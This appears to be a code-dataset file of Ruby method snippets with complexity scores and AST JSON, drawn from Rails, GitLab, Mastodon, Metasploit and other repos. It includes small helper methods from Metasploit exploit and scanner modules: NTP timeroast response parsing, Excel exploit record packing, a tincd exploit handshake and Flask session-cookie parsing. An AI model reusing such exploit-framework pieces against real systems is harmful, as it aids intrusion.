":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"non_poly_one_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NonPolyOne\"]},\"sample\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PaintTexture\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"non_poly_two_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NonPolyTwo\"]},\"sample\"]},\"id\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"upto\",{\"type\":\"const\",\"children\":[null,\"NUM_SHAPE_EXPRESSIONS\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shape_type\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Circle\"]},{\"type\":\"const\",\"children\":[null,\"Square\"]},{\"type\":\"const\",\"children\":[null,\"Triangle\"]}]},\"sample\"]}]},{\"type\":\"lvasgn\",\"children\":[\"paint_type\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PaintColor\"]},{\"type\":\"const\",\"children\":[null,\"PaintTexture\"]}]},\"sample\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ShapeExpression\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shape_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shape_type\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shape_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shape_type\"]},\"sample\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"paint_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paint_type\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"paint_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paint_type\"]},\"sample\"]},\"id\"]}]}]}]}]}]}]}]}","id":"aff9f615-f47a-4260-a68b-93a14d18dddb"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":465,"raw_source":"def test_render_partial_without_object_does_not_put_partial_name_to_local_assigns\n    assert_equal \"false\", @view.render(partial: \"test/partial_name_in_local_assigns\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_partial_without_object_does_not_put_partial_name_to_local_assigns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"false\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/partial_name_in_local_assigns\"]}]}]}]}]}]}","id":"cc39a944-8c15-4305-88ab-4f722b7b4779"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_sharding/validator.rb","start_line":13,"raw_source":"def via(pool)\n            in_via_state = Thread.current[:inside_sidekiq_via_scope]\n            Thread.current[:inside_sidekiq_via_scope] = true\n\n            super(pool)\n          ensure\n            Thread.current[:inside_sidekiq_via_scope] = in_via_state\n          end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"via\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pool\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"in_via_state\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inside_sidekiq_via_scope\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"inside_sidekiq_via_scope\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"inside_sidekiq_via_scope\"]},{\"type\":\"lvar\",\"children\":[\"in_via_state\"]}]}]}]}","id":"3005ae28-8077-4607-b288-7c9330f93fd5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects_helper.rb","start_line":885,"raw_source":"def project_issues(project)\n    IssuesFinder.new(current_user, project_id: project.id).execute\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"project_issues\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssuesFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]}]}]},\"execute\"]}]}","id":"fea50cb8-efe7-468c-a711-fe103df805d1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/ci/metadatable.rb","start_line":158,"raw_source":"def exit_code=(value)\n      return unless value\n\n      safe_value = value.to_i.clamp(0, Gitlab::Database::MAX_SMALLINT_VALUE)\n\n      write_attribute(:exit_code, safe_value)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exit_code=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"safe_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]},\"clamp\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"MAX_SMALLINT_VALUE\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_attribute\",{\"type\":\"sym\",\"children\":[\"exit_code\"]},{\"type\":\"lvar\",\"children\":[\"safe_value\"]}]}]}]}","id":"b21d2773-2fd7-495c-89f6-1384b61a9468"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/services/backup_service_spec.rb","start_line":16,"raw_source":"def read_zip_file(backup, filename)\n    file = Paperclip.io_adapters.for(backup.dump)\n    Zip::File.open(file) do |zipfile|\n      entry = zipfile.glob(filename).first\n      return entry.get_input_stream.read\n    end\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"read_zip_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"backup\"]},{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Paperclip\"]},\"io_adapters\"]},\"for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup\"]},\"dump\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zip\"]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"zipfile\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entry\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zipfile\"]},\"glob\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},\"first\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"get_input_stream\"]},\"read\"]}]}]}]}]}]}","id":"e82e1c93-78a7-4dd8-97c1-a5ec492d1989"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ntp/timeroast.rb","start_line":65,"raw_source":"def recv_response(timeout: 0)\n    begin\n      raw, = udp_sock.recvfrom(68, timeout) # 68 is always the number of bytes expected\n    rescue ::Rex::SocketError, ::IOError\n      return nil\n    end\n\n    return nil if raw.empty?\n\n    Rex::Proto::NTP::Header::NTPHeader.read(raw)\n  end","complexity_score":8.93,"ast_json":"{\"type\":\"def\",\"children\":[\"recv_response\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"recvfrom\",{\"type\":\"int\",\"children\":[68]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"SocketError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IOError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"NTP\"]},\"Header\"]},\"NTPHeader\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]}]}","id":"ad484af0-5a38-4b7f-bb6d-0e8db95fb805"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20241107232900_add_ai_settings_table.rb","start_line":8,"raw_source":"def up\n    create_table :ai_settings do |t|\n      t.text :ai_gateway_url, limit: 2048 # Most browsers support URLs up to 2048 characters\n      t.boolean :singleton, null: false, default: true, comment: 'Always true, used for singleton enforcement'\n    end\n\n    add_check_constraint :ai_settings, \"(singleton IS TRUE)\", 'check_singleton'\n    add_index :ai_settings, :singleton, unique: true\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"ai_settings\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"ai_gateway_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2048]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"singleton\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"str\",\"children\":[\"Always true, used for singleton enforcement\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"sym\",\"children\":[\"ai_settings\"]},{\"type\":\"str\",\"children\":[\"(singleton IS TRUE)\"]},{\"type\":\"str\",\"children\":[\"check_singleton\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"ai_settings\"]},{\"type\":\"sym\",\"children\":[\"singleton\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"cb629f04-3b7c-4cfc-8e21-f109cfa6732d"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120629151243_make_expressions_less_generic.rb","start_line":4,"raw_source":"def up\n    rename_column :expressions, :parent_id, :post_id\n    rename_column :expressions, :expression_type_id, :expression_index\n    remove_column :expressions, :parent_type\n\n    add_index :expressions,\n              %i[post_id expression_index user_id],\n              unique: true,\n              name: \"unique_by_user\"\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"sym\",\"children\":[\"expressions\"]},{\"type\":\"sym\",\"children\":[\"parent_id\"]},{\"type\":\"sym\",\"children\":[\"post_id\"]}]},{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"sym\",\"children\":[\"expressions\"]},{\"type\":\"sym\",\"children\":[\"expression_type_id\"]},{\"type\":\"sym\",\"children\":[\"expression_index\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"expressions\"]},{\"type\":\"sym\",\"children\":[\"parent_type\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"expressions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"sym\",\"children\":[\"expression_index\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"unique_by_user\"]}]}]}]}]}]}","id":"d18a5139-ec91-4fe9-b174-06af4b646066"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":759,"raw_source":"def test_take_failing\n    assert_nil Topic.where(\"title = 'This title does not exist'\").take\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_take_failing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"where\",{\"type\":\"str\",\"children\":[\"title = 'This title does not exist'\"]}]},\"take\"]}]}]}","id":"7ed97a28-87f3-46e3-a109-98a56f7b90ec"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb","start_line":112,"raw_source":"def add_record(tag, data = nil)\n    ret = \"\"\n    ret << Rex::OLE::Util.pack16(tag)\n    data ||= ''\n    ret << Rex::OLE::Util.pack16(data.length)\n    ret << data\n    ret\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"optarg\",\"children\":[\"data\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"OLE\"]},\"Util\"]},\"pack16\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"OLE\"]},\"Util\"]},\"pack16\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}","id":"1c6a4c10-60e3-46cb-915e-7f3288b692ce"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/lib/generators/ahoy/activerecord_generator.rb","start_line":20,"raw_source":"def properties_type\n        case adapter\n        when /postg/i # postgres, postgis\n          \"jsonb\"\n        when /mysql|trilogy/i\n          \"json\"\n        else\n          \"text\"\n        end\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"properties_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adapter\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"postg\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"jsonb\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mysql|trilogy\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"json\"]}]},{\"type\":\"str\",\"children\":[\"text\"]}]}]}","id":"38f89475-8e91-4a0a-9699-ea4da4c67b65"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/commands/credentials_test.rb","start_line":373,"raw_source":"def run_edit_command(visual: \"cat\", editor: \"cat\", environment: nil, **options)\n      switch_env(\"VISUAL\", visual) do\n        switch_env(\"EDITOR\", editor) do\n          args = environment ? [\"--environment\", environment] : []\n          rails \"credentials:edit\", args, **options\n        end\n      end\n    end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run_edit_command\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"visual\",{\"type\":\"str\",\"children\":[\"cat\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"editor\",{\"type\":\"str\",\"children\":[\"cat\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"environment\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"switch_env\",{\"type\":\"str\",\"children\":[\"VISUAL\"]},{\"type\":\"lvar\",\"children\":[\"visual\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"switch_env\",{\"type\":\"str\",\"children\":[\"EDITOR\"]},{\"type\":\"lvar\",\"children\":[\"editor\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--environment\"]},{\"type\":\"lvar\",\"children\":[\"environment\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"credentials:edit\"]},{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]}]}","id":"1ba82936-b73c-4a6e-a208-97cc44ae23e3"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/grids/grid_area.rb","start_line":48,"raw_source":"def remove\n        click_menu_item(I18n.t(\"js.grid.remove\"))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_menu_item\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.grid.remove\"]}]}]}]}","id":"2f81fd58-7bbc-4884-927e-7e2ae7d47983"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_site_settings.rb","start_line":20,"raw_source":"def visit_category(category)\n        page.visit(\"/admin/site_settings/category/#{category}\")\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_category\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"visit\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/admin/site_settings/category/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]}]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"9030fca6-79b0-459d-be6d-4f78ab42a6c9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/tincd_exploit_client.rb","start_line":285,"raw_source":"def metakey\n    msg = \"1 94 64 0 0 #{@hex_enc_key_s1}\\n\"\n    vprint_status(\"Sending metakey (cleartext): [#{msg[0..30]}...]\")\n    @buffer += msg\n    handle_write\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"metakey\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"1 94 64 0 0 \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hex_enc_key_s1\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending metakey (cleartext): [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[30]}]}]}]},{\"type\":\"str\",\"children\":[\"...]\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@buffer\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_write\"]}]}]}","id":"c1bc09ef-4961-4c72-923c-880e97d55c2b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/flask_unsign.rb","start_line":74,"raw_source":"def self.parse(value)\n              compressed = value.start_with?('.')\n              value = value[1..] if compressed\n\n              serialized, signature = value.split('.', 3)\n              value = Base64.urlsafe_decode64(serialized)\n              value = Zlib::Inflate.inflate(value) if compressed\n              { compressed: compressed, signature: signature, deserialized: JSON.parse(value), serialized: serialized }\n            end","complexity_score":16.03,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"compressed\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compressed\"]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},null]}]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"serialized\"]},{\"type\":\"lvasgn\",\"children\":[\"signature\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"urlsafe_decode64\",{\"type\":\"lvar\",\"children\":[\"serialized\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compressed\"]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"Inflate\"]},\"inflate\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compressed\"]},{\"type\":\"lvar\",\"children\":[\"compressed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"signature\"]},{\"type\":\"lvar\",\"children\":[\"signature\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deserialized\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serialized\"]},{\"type\":\"lvar\",\"children\":[\"serialized\"]}]}]}]}]}","id":"e6534f7b-8104-4d4d-8e50-f579f8c72012"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/parentheses_as_grouped_expression.rb","start_line":39,"raw_source":"def valid_context?(node)\n          return true unless node.arguments.one? && node.first_argument.parenthesized_call?\n          return true if node.first_argument.any_block_type?\n\n          node.operator_method? || node.setter_method? || chained_calls?(node) ||\n            valid_first_argument?(node.first_argument)\n        end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_context?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"one?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]},\"parenthesized_call?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]},\"any_block_type?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"operator_method?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"setter_method?\"]}]},{\"type\":\"send\",\"children\":[null,\"chained_calls?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"valid_first_argument?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]}]}]}]}]}","id":"da79f510-05c5-4ba7-9c98-ebd8a7c51aae"}
